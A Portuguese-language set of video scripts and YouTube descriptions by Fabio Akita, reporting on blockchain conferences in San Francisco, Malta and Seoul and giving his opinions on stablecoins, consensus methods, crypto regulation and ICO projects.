Outro painel interessante foi novamente moderado pelo Arrington, tendo a participação da Cred, Uphold e Pricewaterhouse anunciando mais uma stablecoin, a Universal Dollar. A idéia é competir com moedas como o Tether e assim como ele estar lastreado no dollar. A Gemini se não me engano também tem uma assim e mais e mais empresas estão indo nessa direção. A parte interessante é que somente grandes fundos podem fazer isso porque você precisa garantir a liquidez desse token. Cada token emitido precisa ser auditado - e por isso a pricewaterhouse - pra garantir que ninguém está imprimindo dinheiro sem lastro. Cada 1 token precisa de 1 dollar. A vantagem? Nesse formato é como se você pudesse trafegar dollar livremente pelo mundo sem passar por bancos ou outras instituições. Todo mundo menos os Estados Unidos gostam dessa idéia. Fora isso você pode usar stablecoins como essa pra ser a moeda de meios de pagamento, eu falei disso nos vídeos da Coréia. E nesse caso específico eles tão mirando no mercado de crédito e empréstimos. Com isso você consegue encontrar no mundo todo quem quer emprestar e também no mundo todo quem precisa de crédito. Além disso eles querem padrozinar tudo no padrão ERC20 pra tokens via smart contracts na rede do Ethereum, e coins como Bitcoin poderiam ter um wrapper de ERC20 por cima deles, novamente convertendo 1 bitcoin pra 1 token deles e assim tudo trafegaria pelo mesmo protocolo, facilitando a interoperabilidade.

Pra quem é da área técnica um aspecto constantemente discutido é o problema da velocidade dos blockchains. Está claro que nenhum blockchain como Bitcoin, Ethereum ou derivados jamais vai ter capacidade pra ser de fato um meio de pagamento viável pra maioria das pessoas. Seja porque a velocidade é muito baixa, seja porque as taxas ficam caras demais quando há muito volume. Existem pesquisas e tentativas para melhorar isso direto nos protocolos. Por exemplo, o Ethereum quer lançar a versão Casper daqui algum tempo, que promete, entre outras coisas, substituir o atual Proof of Work por Proof of Stake ou pelo menos um híbrido entre os dois.

Eu expliquei acima porque Proof of Stake não é uma bala de prata. Mas uma solução mais prática que não requer modificação direta nos protocolos é a utilização de side-chains ou layer-2 como os projetos da Plasma em Ethereum ou Lightning Network pro Bitcoin que, sim, continua em beta por mais algum tempo ainda. A idéia é simples: segurança e performance costumam ser um trade-off, eles são mutuamente exclusivos. Você não pode ter segurança absoluta e performance máxima ao mesmo tempo. Então você precisa diminuir a segurança pra ganhar performance. Numa rede como Lightning você pré-carrega um canal secundário com alguns dos seus coins favoritos, mas não tudo, o montante maior fica no layer-1 que é o protocolo original, mais lento, como Bitcoin. É que nem carregar um cartão pré-pago. Nesse layer-2 você tem alta performance, mas corre um risco maior de perder essa pré-carga, mas não tem problema, é o custo do negócio. É impossível ter zero risco em tudo, isso é gerenciar o risco e conseguir performance sem mudar o blockchain.

Falando nisso, começa a aparecer uma coisa meio óbvia: Proof of Work é caro demais mas é extremamente seguro, em particular nos casos excepcionais. Muitos estão forçando a substituição por Proof of Stake, mas isso eu acho barato demais ao ponto que é inseguro. Proof of Stake funciona no geral mas é muito fraco nos casos excepcionais Stake é basicamente colocar seu dinheiro na linha pra ter direito de assinar o bloco, se for votado que você fraudou, então você perde esse Stake. Vale a pena eu fazer uma tangente porque muita gente que só sabe ler headline assume que “ah, quando o Ethereum mudar de proof of work pra proof of stake, ele vai matar o bitcoin que consome energia demais”.

A maioria das pessoas é péssimo em pensar nos cisnes negros. Um sistema que tem a pretensão de ser usado pelas próximas décadas e ter garantias de integridade dos seus dados precisa ser resistente ao futuro e proteger o passado. Bitcoin de fato atinge isso. Na prática, todo nó minerador é um mini-fork da rede. A rede se reconcilia o tempo todo e a cadeia mais longa de blocos costuma vencer e os outros sincronizam dele. E podemos confiar no processo porque pra assinar um bloco alguém precisou gastar muito dinheiro para calcular o hash. Em proof of stake quem assina o bloco é quem tem o maior stake. No caso do bitcoin seria o equivalente a quem tem 51% do hash power da rede, que são atualmente os 3 maiores pools do mundo. E mesmo assim, não é possível reescrever a história fácil, é necessário recalcular o hash de todos os blocos do passado até o ponto que você quer, isso não só custa muito dinheiro mas custa muito tempo. 1 bloco hoje leva 10 minutos. Imagine recalcular 10 mil blocos. É bom ter um Fukushima no quintal pra isso. Em proof of stake você não tem essa proteção, qualquer um que controle o maior stake - apesar de muito improvável - tem poder ilimitado de reescrever a história se a rede não tem checkpoints ou pode causar um split da rede no caso de redes que tem checkpoint como o Casper do Ethereum. Em ambos os casos, proof of stake se mostra inferior ao proof of work em manter a integridade dos dados e da rede. O custo de energia não é à toa como muitos pensam e nem é tão caro assim se levar esses pontos em consideração. O próprio Vitalik, no seu painel, já fala em um possível 99% de Proof of Stake e 1% de Proof of Work para balancear melhor esse trade-off. E outras equipes estão procurando alternativas a Proof of Work e Proof of Stake como Proof of Space-Time.

Outras palestras técnicas interessantes falaram mais sobre outros aspectos da segurança de blockchains, nas palestras de David Chaum da Elixxir e Dawn Song da Oasis Labs. Por exemplo, por se falar em criptografia, dá impressão que os dados são “privados” mas na verdade é o contrário: o blockchain é transparente e público, é possível tirar muita informação somente pelos metadados e pelo rastreamento. Mais do que isso, um blockchain é um registro preciso de tempo, baseado em timestamps, então existe outro dado muito importante: a ordem das transações. É um dos motivos de porque blockchains não são bons pra eleições com voto secreto. Por isso existem outros tipos de blockchains como Dash, Zcash ou Monero que tentam adicionar uma camada a mais de anonimidade. Fica dica que em Zcash você precisa escolher fazer um wallet ser anônimo, ele não é anônimo por padrão. E no mundo do Ethereum, por causa disso existem as tentativas para implementar algo similar como zero knowledge proofs, particularmente zkSnarks. O conceito parece simples, onde você consegue saber se uma pessoa tem determinado segredo sem trafegar o segredo. Imagine um sistema que sabe que você sabe a senha sem que você precise dizer a senha. Mas a matemática e a implementação disso é extremamente difícil. Se você é cientista da computação, eis um excelente desafio.

Além disso você tem outros conceitos pra vocês pesquisar. Por exemplo, Homeomorphic encryption, pense um tipo de encriptação onde você pode realizar operações no dado encriptado e o resultado será igual às mesmas operações realizadas no texto não-encriptado. Dessa maneira você não precisa decodificar a encriptação e ainda assim pode operar nele. E isso sem falar em hardwares de segurança, como as instruções Intel SGX que permitem lidar com dados de segurança mesmo em computadores que foram comprometidos. Pense um lugar onde você poderia guardar sua chave privada no seu computador que não estaria vulnerável a nenhum vírus ou exploit porque está totalmente fora do controle do sistema operacional. A chave ficaria numa área de memória isolada que o sistema operacional simplemente não tem acesso, são os enclaves. E isso já existe hoje, caso vocês não saibam. Como cientista da computação essa é outra área que me atrai muito porque ficamos falando só de web, web e não vemos como existem várias outros algoritmos e hardware à nossa disposição que nunca nem discutimos a respeito.

Como podem ver, os painéis da San Francisco Blockchain Week foram bem mais interessantes do ponto de vista técnico do que o Delta Summit de Malta ou o Beyond Blocks de Seoul. Pelo menos em San Francisco eles estão mais preocupados com a implementação das coisas, nos outros países eles estão muito ainda em “o que é possível”. Por isso eu reitero o que disse no vídeo anterior de Malta: não existem experts nesse mercado. Ignore qualquer um que se entitule expert. Estamos ainda no estágio de early adopters. Eu venho repetindo isso faz tempo e ouvi sendo repetido nos eventos: é como se estivéssemos no começo dos anos 90, antes da invenção do browser, antes de saber que vai existir Amazon ou Facebook. Se você acredita em futuro, é um dos lugares mais fascinantes pra se estar.

Infelizmente o Brasil, pra variar, está atrasado e ficando mais e mais atrasado. Um dos maiores problemas é que os “top influencers” desse mercado são completamente diferentes de tudo que eu vi pelo mundo. Assim como na Ásia e norte da Europa, muitos aqui tiveram a sorte de apostar antes do bull run e ficaram ricos com criptomoedas. Porém diferente do que eu vi, eles não estão reinvestindo num ecossistema, e em vez disso estão com a cabeça minúscula de se fechar em seus próprios feudos. Um exemplo disso? Nós já temos perto do mesmo número de corretoras que se tem em Seoul ou Japão. Só que o volume de cripto negociado em todas as corretoras do Brasil é uma fração de somente 1 corretora da Ásia. É um número ridículo. E essa fragmentação acontece porque nenhuma das corretoras com maior volume tem a mínima noção de tecnologia. E todo mundo sabe disso, tanto que eu por exemplo acho mais fácil fazer a minha própria corretora do que confiar em qualquer uma que é lider do mercado, e pelo jeito eu não estou sozinho. E também por causa disso o exemplo que a população em geral tem é essa: pessoas que deram sorte mas não sabem o que estão fazendo. Completamente diferente de um CZ da Binance ou Vicent Zhao da FBG Capital. Outro exemplo? Nenhuma crypto fund foi fundada no Brasil ainda. E mesmo nesse estágio primário que estamos já existem fundos de investimento tradicionais vendendo fumaça como se fosse criptomoeda, sedimentando ainda mais a noção que os principais envolvidos no mercado de criptomoedas do Brasil estão interessados em dinheiro rápido e tem zero interesse em realmente criar uma economia de criptomoedas. Eu sou empresário, e por causa de exemplos como o que temos nesse mercado do criptomoedas do Brasil, eu não consigo discordar de quem fala mal de empresários brasileiros no geral. O que eu vi no mundo não tem nada nem parecido por aqui ainda. E isso porque eu disse que eles mesmos se consideram ainda early adopters num mercado que está só começando. Agora aqui o que eu vejo? Experts.

Enfim, isso conclui meus relatos sobre essa peregrinação blockchain. Vejam meus vídeos sobre a Coréia do Sul se ainda não assistiram, pra ter uma visão mais completa. Coloquem nos comentários se vocês já sabiam de tudo que eu relatei. Se gostaram do vídeo mantem um joinha, assinem o canal e cliquem no sininho. A gente se vê, até mais!

Descrição no YouTube

Nos dias 4 e 5 de Outubro de 2018 eu fui visitar a Ilha de Malta para assistir à conferência Delta Summit, a maior conferência de blockchain e criptomoedas do país neste ano. O evento lança a promulgação das leis do país específicas para blockchains e torna a Ilha um lugar propício para empresas neste mercado.

O evento foi aberto por ninguém menos que o primeiro-ministro de Malta, Dr. Joseph Muscat e o primeiro-ministro júnior Silvio Schembri que, junto com o evangelista Dr. Abdalla Kablan atraíram dezenas de pessoas e empresas para discutir as novas oportunidades da região.

Vamos entender o que isso significa pra Malta e para o mundo no geral.

Links

• Delta Summit (https://delta-summit.com/agenda/)
• Malta Digital Innovation Authority (https://mdia.gov.mt/)
• Malta Financial Services Authority (https://www.mfsa.com.mt/)
• Malta Gaming Authority (https://www.mga.org.mt/)

Se não assistiu ainda, veja a minha playlist de episódios sobre Seoul:

• Blockchain Week Seoul 2018 (https://www.youtube.com/watch?v=QNLd8TZ_JQc&list=PLdsnXVqbHDUeR_OhvhLfLfpe3eXadNCW2)

Script

Olá pessoal, Fabio Akita

Este canal começou com meu relato sobre os eventos de blockchain de Seoul, na Coréia do Sul.

Originalmente não era essa a intenção mas no final acabei tendo a oportunidade de ver em primeira mão como estão as comunidades de negócios de criptomoedas nas 3 grandes regiões do mundo: Ásia, Europa e Américas. Vocês já viram minha visão sobre a Ásia, em particular a Coréia do Sul, hoje vamos falar de Malta e no próximo episódio vamos ver como estão os norte americanos.

Vamos lá!

(…)

Vamos começar com uma dica. Se você cruzar com qualquer um que se auto-intitule “Expert” em blockchain ou criptomoedas, ignore essa pessoa. Esse mercado é novo demais pra alguém se denominar “expert” no LinkedIn. É o primeiro sinal de como filtrar o joio do trigo. Isso foi dito num painel durante o evento Delta Summit e eu mais que concordo. Qualquer um que está se vendendo primariamente como expert de blockchain é um charlatão.

Isso dito, Malta. Eu nunca tinha ido pra Malta, eu nunca tinha ido pra Itália. Uma pena que eu tive uma estadia curta, basicamente pro evento. Claro, todos sabemos que Malta é um arquipélago com 3 ilhas habitadas. Malta, Gozo e Comino. Mas eu não tinha noção da dimensão. Por exemplo, qual é a população dessa ilha? 10 milhões de pessoas? 4 milhões de pessoas? Ou 500 mil pessoas?

Pois é … 475 mil pessoas pra ser mais exato. Pra dar uma dimensão, a minha cidade de São Paulo tem 12 milhões de pessoas. A regiao metropolitana inteira tem 20 milhões. Malta é do tamanho de São José do Rio Preto, Mauá, ou Mogi das Cruzes. Sorocaba é maior, Ribeirão Preto é maior, Osasco é maior.

Mas Malta tem uma história muito mais longa. Enquanto o Brasil inteiro tem pouco mais de 500 anos, a história de Malta vai pra quase 6000 anos antes de Cristo. Então, assim como toda a Europa, tem uma diversidade e riqueza histórica muito maior. Mas ainda assim, é impressionante imaginar um país inteiro que é menor a maioria das cidades que eu conheço.

Minha primeira impressão? Lugares excepcionalmente bonitos, realmente cartões postais. Porém, as pessoas que encontrei foram antipáticas, do tipo que ficam reclamando da vida na sua frente na loja, não respondem suas perguntas e fazem cara de “agradeça que eu to te atendendo”. Não é todo mundo, mas no geral não me senti muito bem vindo por ali.

De qualquer forma, não tenho muito o que dizer sobre a região porque passei a maior parte do meu tempo lá dentro da conferência. O Delta Summit foi no centro de convenções do Intercontinental Hotel. Delta é um nome oportuno porque tem a ver com a recém aprovada regulamentação de DLT ou Distributed Ledger Technology, então D L T ou DELTA e também DELTA porque vem do grego de mudança e isso representa uma enorme mudança pra região. Pelo menos é o que o arquiteto dessa mudança, Dr Abdalah Kablan está nos vendendo. Ele que parece ter sido importante na progressão das leis no governo do primeiro ministro Dr Joseph Muscat. O evento tem dedo do governo, o que por sua vez ajuda a atrair um grande número de empresas e também as principais celebridades desse mundo, figurinhas carimbadas como Chengpeng Zhao ou Roger Ver, que eu vi nos eventos de Seoul também.

Esse evento foi 100% business, tinha basicamente 0.01% de desenvolvedores de software por lá, então imaginem que eu me senti um peixe fora d’água :-) Ponto positivo por ter cruzado com ninguém menos que o Dr Larry Sanger, um dos criadores da gigante Wikipedia que foi anunciar como está envolvido com o que ele acredita que pode se tornar o sucessor da Wikipedia, a Everipedia. A primeira enciclopédia lançada num blockchain, no caso usando o IPFS ou filesystem universal do protocolo EOS. Vale a pena acompanhar só por causa disso. E se tem alguém que pode fazer isso funcionar, é ele. Para quem queria um caso de uso de blockchains fora do mundo financeiro, esse é um bom exemplo.

A estrela do show, claro, são as tais regulamentações em torno de empresas de blockchains, criptomoedas, exchanges, ICOs. Em resumo, Malta já tem algumas associações reguladoras fortes como a M I T A que regula o mundo de TI, a Malta Financial Services Authority ou M S F A que regula o mundo financeiro, a M G A que regula os jogos. Agora há uma nova, a Malta Digital Innovation Authority ou M D I A que regula empresas desse novo setor. Dentre as leis promulgadas temos a Innovative Technological Arrangements Services Act que foca no registro da tecnologia e certificação como requerido pela M D I A para operar. E a Virtual Financial Asset Act que foi feita pela ou M S F A. Ufa, complicado?

Na prática, criou-se o cargo de um agente regulador, um indivíduo independente, que não é funcionário público, mas que tem experiência na área e que vai avaliar e ser responsável pelas empresas que querem abrir em Malta, incluindo voltar 1 ano depois para ver se eles estão cumprindo os prometidos. A idéia é filtrar o joio do trigo e certificar empresas que passaram por avaliação, evitando os diversos casos de golpes baseados em ICOs.

Haverá pelo menos 2 tratamentos diferenciados: pra aqueles que estão iniciando seus negócios e para aqueles que já tem empresas funcionando e estão se mudando ou abrindo filial lá. A Binance anunciou que está abrindo uma sede em Malta, por exemplo, e é o garoto propaganda do governo de Muskat.

Mas isso significa que abrir uma empresa de cripto lá ficou caro. Você precisa ter gente local e uma sede física e conta em banco, e tudo mais. Só pra começar, não espere gastar menos que uns EUR 50 mil no ano. Só pra abrir uma conta business num banco espere ter que depositar já EUR 30 a 50 mil. Então o investimento para iniciar de verdade lá, não é menos que uns EUR 100 mil. Não é pra qualquer um e isso pode se tornar tendência por toda a Europa. Mesmo em países como Suíça as coisas não eram tão fáceis. Você de fora vai e abre empresa fácil, mas aí quer ir pra lá ou mandar gente daqui pra lá, e descobre que a Suíça não quer nem um pouco aumentar sua população com imigrantes, boa sorte conseguir visto pra morar lá. Governos como o francês, inglês, e até países islâmicos estavam representados durante o evento e devem ter conduzido mais trabalhos diplomáticos e trocas de idéias entre agências reguladoras. O primeiro ministro Muscat quer muito que o framework que eles desenharam para Malta se torne a referência para toda a Europa. A parte do caro que eu mencionei não é ruim. Qualquer investidor prefere um lugar caro e regulado que barato e incerto. Ninguém em sã consciência investe muito dinheiro num país que a qualquer momento pode mudar as regras. Exemplo de lugar ruim pra investir? Brasil.

Por causa do pico absurdo que tivemos em dezembro do ano passado, coisa que incentivou dezenas de ICOs ruins invadirem o mercado enganando milhares de pessoas e aplicando golpes de milhões de dólares, fora os diversos hacks em exchanges mal feitas que também fizeram as pessoas perder muito dinheiro, dezenas de países tomaram medidas drásticas e aceleraram suas corridas pela regulamentação. Países como a China praticamente baniram as criptomoedas de uma hora pra outra, forçando empresas como a Binance a sair da China e se instalar em outros países como Japão. O próprio Japão e Coréia do Sul apertaram suas recomendações e começaram a banir ICOs e botar mais pressão em exchanges. Estados Unidos passaram a considerar todo ICO o equivalente a securities em vez de utilities como eu já expliquei em outro episódio. Países na América do Sul, pra variar lentos que nem tartarugas morrendo continuam em cima do muro quanto a regulamentar e se mantém permitindo ações predatórias dos bancos contra empresas de criptomoedas. E a Europa, como sempre, eficiente quando se fala em passar regulamentações pra tudo, porque quanto mais rápido se regulamenta mais rápido podem coletar mais impostos.

Com essa forçada de barra dos governos do mundo, mas ao mesmo tempo sendo óbvio a inevitabilidade da adoção de criptomoedas pelo mundo, seja por vias legais ou por mercado negro, muitos países mais progressistas resolveram se adiantar à curva e tentar ser os primeiros em suas regiões a criar ambientes amigáveis e atrair os mavericks pioneiros que - quem sabe - se tornem o Google ou Amazon do mundo de criptomoedas. Que país não quer a Amazon em casa? Países como Suíça e Estônia já eram mais amigáveis mas sem se comprometer muito, meio “pode vir, que a gente não morde”. Mas Malta foi provavelmente a primeira a se comprometer, criando leis e regulamentações, definindo no papel o que pode ou não pode, e dedicando uma autoridade do governo pra tratar desse assunto. A mesma coisa parece que está se iniciando na Ásia em Taiwan e na Tailândia, aproveitando o vácuo deixado pela triforce da China, Japão e Coréia do Sul. Ou seja, a Europa e a Ásia continuam se movimentando mais rápido que o resto do mundo em relação a regulamentação de criptomoedas.

Pare pra pensar no seguinte: pode ser que você pessoalmente não acredite muito em criptomoedas ou soluções de blockchains, mas primeiros ministros de vários países estão discutindo o assunto e já no ponto onde estão passando leis. Não é um assunto que vai desaparecer tão cedo, independente do que você acha. Já estamos num ponto onde evitar o assunto é só se colocar na posição do mais atrasado na economia global. Você só pode fazer isso se for os Estados Unidos e mesmo assim a pressão do resto do mundo está chegando.

Quando falei da Coréia do Sul dei vários exemplos de tipos de empresas e ICOs, hoje vou só resumir porque é a mesma coisa: muitas exchanges, empresas de auditoria de segurança, e empresas de advocacia. Sério, eu nunca tinha visto tanto estande de advogado um do lado do outro. A estrela do show é a nova regulamentação, então os advogados estão fazendo fila pra atender a nova clientela querendo mover seus negócios pra lá. Outras estandes tinham o de sempre wallets, alternativas de blockchains com plataformas híbridas, meios de pagamento, sistemas de rewards e bonificações por fidelidade ou similar, tokens para games - e Malta já era forte com a autoridade que regulamenta games -, e tokenização ou securitização no geral.

Securities, aliás, outro assunto que continua quente mas controverso por culpa da SEC dos Estados Unidos. Muitos esperam que em breve security tokens se tornem uma nova classe de ativos, onde qualquer asset pode ser tokenizavel, desde equity em empresas no caso de abertura de capital via ICO até real estate ou o que for, até uma pessoa é tokenizável, tokenizando seus ganhos futuros por exemplo. Mas por causa das regulamentações muitos lamentam que a promessa dos ICOs corre grande risco.

A grande idéia dos ICOs é a democratização do mercado financeiro, antigamente somente grandes fundos de investimento, hedge funds, venture capitalists tinham acesso a investir cedo em empresas pré-IPO. O consumidor final, nós, não temos acesso a isso, só depois que o venture capital já comprou barato, você pode comprar caro dele.

ICOs democratizaram isso e deram a opção de pessoas físicas participar. Claro, isso também atraiu um grande número de fraudes. Muita gente perdeu e ainda vai perder dinheiro. Mas se você proíbe isso, regula via restrição, e torna caro abrir um ICO, novamente as startups não tem outra opção a não ser tornar os ICOs privados e oferecer primeiro para os mesmos antigos players: os fundos de investimento e venture capital, retirando a opção da população em geral. A população vai perder dinheiro se não houver restrições? Deixe elas perderem o dinheiro. É o correto, senão nunca vão aprender a investir direito. A população não precisa ser protegida. Eu argumento que proteção demais cria uma população desinformada. Essa mania de governos quererem decidir pela população é muito ruim. O mercado naturalmente se auto regula.

A mesma coisa sobre a idéia de criptomoedas em geral. Por causa dessa paranóia de medo anti-terrorista - que mata menos no mundo que uma fração dos acidentes de trânsito todo ano - força todo governo a forçar toda fintech e bancos tradicionais em procedimentos Anti-lavagem de dinheiro e Anti-terrorismo. A única forma disso acontecer é via KYC ou know your customer, ou seja, toda fintech precisa coletar, administrar e - quando exigido - compartilhar com órgãos do governo os dados e histórico das pessoas. Lembrando que nos Estados Unidos você já tem mecanismos como o controverso Patriot Act. Isso quebra as premissas de privacidade e soberania do indivíduo prometido pelas criptomoedas. Moedas que facilitam a anonimidade como Monero ou Zcash estão sendo proibidos em países regulados como o Japão justamente por essa impossibilidade de rastrear as transações.

Então, pouco a pouco, o mundo de criptomoedas está sendo obrigado a se dobrar para se adequar às mesmas normas que eles originalmente queriam combater. Na prática, o que isso significa é que criptomoedas estão se tornando versões mais práticas dos papéis de commodities e um pouco mais eficientes para transações interbancárias em diferentes países, ou seja, substituto do swift.

Ainda é mais simples entrar no mundo de trading de criptomoedas do que no mercado financeiro tradicional, mas em breve isso pode mudar também. O valor das criptomoedas já foi provado, mas para o market cap subir dos atuais 200 bilhões para a casa do trilhão exige que os grandes investidores institucionais, Wall Street, entre no jogo. É para onde estão jogando exchanges como a Gemini dos irmãos Winklevoss.

Eu assisti todas as palestras que pude e em 2 dias de Delta Summit eu não fiquei particularmente impressionado. Vocês devem ter notado que eu não apontei nenhum painel ou palestra em particular neste vídeo. Os pitches de startups eram o mesmo de sempre, com ou sem criptomoedas, startups sempre prometem mais do que podem entregar e eu sei que nem 1% vai sobreviver então tenho pouco interesse em startups no geral. Eu acho que elas precisam existir porque estatística dos grandes números só funciona com grandes números, pro 0.1% existir precisa também existir os 99.9% que vai morrer antes. Então, eu sou a favor, mas não faço questão de participar, só observar e estar perto dos 0.1% e não dos 99.9, obviamente. É assim que o mercado funciona, diversificação sempre é uma palavra boa em finanças. Dinheiro não tem cor, nem gênero, nem nacionalidade, dinheiro é dinheiro.

Isso dito, para empresas já estabelecidas como a Binance, faz muito sentido abrir em Malta, porque estar num país regulado dá mais estabilidade, sem o medo que a qualquer hora uma ordem arbitrária pode fechar seu negócio. Como eu disse antes, investidores não gostam de mercados instáveis. Só isso já seria motivo suficiente, mas além disso eu assumo que existam vantagens e incentivos fiscais também. Não tem nada de mágico em Malta, é uma questão de gestão de risco. Ficar em países não regulamentados como Brasil é muito pior, mesmo se aqui fosse mais “barato”. Sem uma regulamentação liberal, nada aqui vai melhorar.

Pra complementar, é sabido que tanto Malta como o Chipre são dois lugares onde quem quer lavar dinheiro vai porque os governos são bastante, vamos dizer, “flexíveis”. Inclusive isso os coloca em posição meio instável com a União Européia. Digamos que ficar mostrando muito como o CZ da Binance virou brodão do Joseph Muscat, trocando elogios via Twitter, jantando juntos, não exatamente passa uma imagem de governo neutro e responsável. Malta não está fazendo tudo isso porque eles são visionários ou algo assim. Sendo cínico, é claro que é uma questão de oportunidade política e de mercado. Malta tem uma longa história de controvérsias. Neste momento paira uma aura de conspiração no ar por causa do assassinato da jornalista anti-corrupção Caruana Galizia.

No geral, a conferência realmente colocou junto num mesmo lugar gente que claramente tem muito dinheiro e gente que claramente quer ganhar muito dinheiro. Você sente mais que estão construindo uma Las Vegas do que Silicon Valley, definitivamente.

Pessoas como eu estão fora desse universo por isso foi interessante ver o contraste. A Ilha de Malta parece ser mesmo um excelente lugar pra passar suas férias. Eu realmente não senti vontade nenhuma de um dia morar por lá. Mas, se eu estivesse nesse universo de pessoas que descrevi, consigo entender claramente porque eu gostaria de estar lá. Pra nossa realidade, vamos deixar Malta no radar pra ver como ela influencia ou não o resto da União Européia.

E por hoje é só, o que acharam desse vídeo? Deixem seus comentários abaixo. Se gostaram mandem um joinha, assinem o canal e cliquem no sininho pra serem notificados do próximo vídeo sobre São Francisco. A gente se vê, até mais!

Descrição no YouTube

FINALMENTE! Este é o último episódio da série Blockchain Week Seoul. Este episódio está BEM mais longo que o normal, mas não se preocupem, é só porque eu queria fechar o assunto o quanto antes. Eu selecionei e menciono nada menos do que 33 projetos neste vídeo, por isso ficou tão longo.

Para facilitar eu dividi este episódio em 7 grandes grupos que você pode pular de acordo com as seguintes marcações:

1. Novas Tecnologias de Blockchains (1:49)
2. Exchanges e Investimentos (6:33)
3. Pagamentos (11:42)
4. Cartório e Auditoria (15:16)
5. Inteligência (17:12)
6. Games (20:58)
7. Outros (25:29)

O objetivo desta série foi mostrar quão maior é o mundo, quão diverso é o mercado de criptomoedas, blockchains e ICOs e quais são as possibilidades sendo perseguidas hoje para inspirá-los. O mesmo mercado na América do Sul é extremamente atrasado, por isso quis mostrar um pouco mais do futuro que já está em construção.

Se você se interessou por algum dos projetos de ICO e blockchain que mencionei no vídeo, vá direto ao site deles. Os projetos estão listados abaixo em ordem alfabética.

• BitHero (http://bithero.io/)
• CertiK (https://certik.org/)
• ChainKey (https://chainkey.io/)
• ChiliZ (https://www.chiliz.com/)
• COTI (https://coti.io/)
• CRED (https://www.libracredit.io/)
• Dex.top (https://dex.top/)
• DX.exchange (https://dx.exchange/)
• Electrify.asia (https://electrify.asia/#home)
• EMX (https://www.emx.com/en/)
• Evident Proof (https://ept.gi/)
• Fleta (http://fleta.io/)
• FuzeX (https://fuzex.co/)
• Game X Coin (https://www.gamexcoin.io/)
• GCOX (https://gcox.com/)
• Gifto (https://gifto.io/)
• HintChain (http://hintchain.io/)
• Hycon (https://hycon.io/)
• Lucidity (https://lucidity.tech/)
• MagnaChain (https://magnachain.co/)
• Mfun (https://mfun.io/)
• MobileChain (https://www.mobilechain.network/)
• Nexty (https://nexty.io/)
• Orion Vault (https://orionvault.com/)
• PATH (https://path.network/)
• PayProtocol (https://payprotocol.io)
• Pinmo (https://www.pinmo.io/)
• Platin (https://platin.io/)
• Rebirth Coin (http://wrecoin.org/)
• SGame Pro (https://sgamepro.io/)
• T.OS (https://www.tosblock.com/)
• Tokedo (https://tokedo.io/)
• Tottle (https://www.totle.com/)
• WePower (https://wepower.network/#)

E não deixe de visitar minha corretora:

• OmniTrade (https://omnitrade.io)

Script

Olá pessoal, Fabio Akita!

HOJE é um dia especial! Depois de 5 episódios sobre a Coréia do Sul, vamos FINALMENTE, chegar ao final dessa jornada com um pequeno tour sobre ICOs.

Se você ainda não assistiu os episódios anteriores, pause este vídeo e faça isso agora pelo link acima, vamos lá, eu espero. …

(abertura)

Ótimo, já viram? Assinem o canal para não perder mais. HOJE vamos explorar rapidamente as diversas startups e ICOs que eu vi durante os eventos que participei. Não todos, mas MUITOS!

Como DISCLAIMER: nada do que eu disser aqui constitui recomendação a favor ou contra. Qualquer opinião é pessoal e produzida com intenção de encaixar na narrativa deste episódio. Se você ficar interessado em qualquer uma delas, veja os links na descrição do vídeo abaixo e estude por conta própria em detalhes e com muito cuidado!

Além disso estou me restringindo somente ao que estava exposto nos eventos, o mundo de ICOs é infinitamente maior do que isso. Muitos não eram da Coréia propriamente dito, mas de outros países da Ásia como Cingapura ou Indonésia e outros eram da Europa e até mesmo Estados Unidos. Neste video você certamente terá exemplos de ICOs que claramente são muito ruins e outros que podem ser os próximos candidatos a unicórnios, quem sabe? Mesmo assim os exemplos aqui não são representativos do mundo como um todo. Mas, se você nunca tinha parado para pensar nas possibilidades, talvez este vídeo ajude a aumentar seus horizontes.

Vou separar o vídeo em SETE grandes grupos para facilitar um pouco. Vamos começar!

(… 1 - novas técnicas de blockchains)

No primeiro grupo temos projetos que se colocam para “resolver” os problemas das primeiras gerações de blockchains. Para quem não sabe, alguns categorizam as criptomoedas em gerações. Bitcoin, obviamente é da primeira geração, o blockchain canônico. Ethereum meio que iniciou a segunda geração com smart contracts. E assim por diante.

Existem várias formas alternativas de implementar blockchains com consenso distribuído. Muitos derivam o código de criptomoedas existentes e fazem um tuning ou fazem uma do zero mesmo.

A Fleta diz ter uma arquitetura diferente, permitindo shards do blockchain, múltiplos chains e também distributed apps ou o DAPPS. Dapps podem ser usados para gerar tokens e no caso da Fleta eles podem ficar em sub-chains e inclusive podem escolher o método de mineração, como Proof of Work (PoW) ou Proof of Stake (PoS). Mas a chain principal pode ter blocos minerados via um método proprietário deles chamado Proof of Formulation baseado em uma “formulação” de ordem de recompensa. Com o suporte a shards e limitação na propagação dos blocos eles dizem conseguir atingir 10 milhões de TPS ou transações por segundo (o bitcoin por exemplo não consegue mais do que 7 blocos por segundo, ethereum é só uma ordem de grandeza mais rápido). Cada shard diz conseguir 20 mil TPS. Além de terem a capacidade de confirmação em quase tempo real via nós de observadores.

Exemplo semelhante é a MagnaChain, mais um blockchain que dizem ser escrito em C++ e implementa a virtual machine Lua para executar smart contracts em vez do Solidity usado no Ethereum. Novamente, eles também tentam melhorar o consenso usando um híbrido entre PoW e PoS que eles chamam de VirtualHash-PoS. Além disso também vai pelo caminho de side chains e tem como primeiro use case a indústria de games, para isso estão preparando SDKs para games mobile e outras ferramentas. A idéia, claro, é poder ter tokens In-app que podem ser usados fora do game em exchanges ou marketplaces. Diferente do Fleta os números que eles clamam são um pouco mais realistas, na casa das 100 mil TPS. Na testnet deles dizem ter chegado a 13 mil TPS.

Outra alternativa é a HYCON ou hyper connected coin. Seu genesis block foi publicado já no GitHub em janeiro desse ano. Ele tenta também mexer no sistema de consenso e embora tenham começado com o blake 2b, eles abandonaram para usar cryptonight, o mesmo do Monero. A vantagem é tornar a vida de fabricantes de ASIC como a Bitmain mais difícil porque ele faz leituras/escritas pseudo aleatórios em memória e corta a diferença de processamento também entre CPU e GPU, na prática impede mineradores de usarem ASICs potentes, tornando o sistema mais decentralizado em máquinas mais lentas. O protocolo de consenso usa o SPECTRE que generaliza o blockchain um direct acyclic graph ou DAG, como um IOTA onde você tem um algoritmo de voto entre pares de blocos. Por conta da estrutura de DAG múltiplos blocos podem ser adicionados simultaneamente o que aumenta a velocidade da mineração mesmo sendo PoW. Dizem que conseguem confirmar um bloco a cada 1 segundo. Um dos diferenciais é que eles tem do seu lado um grande evangelizador de criptomoedas da Coréia, o Taewon Kin, da Glofer.

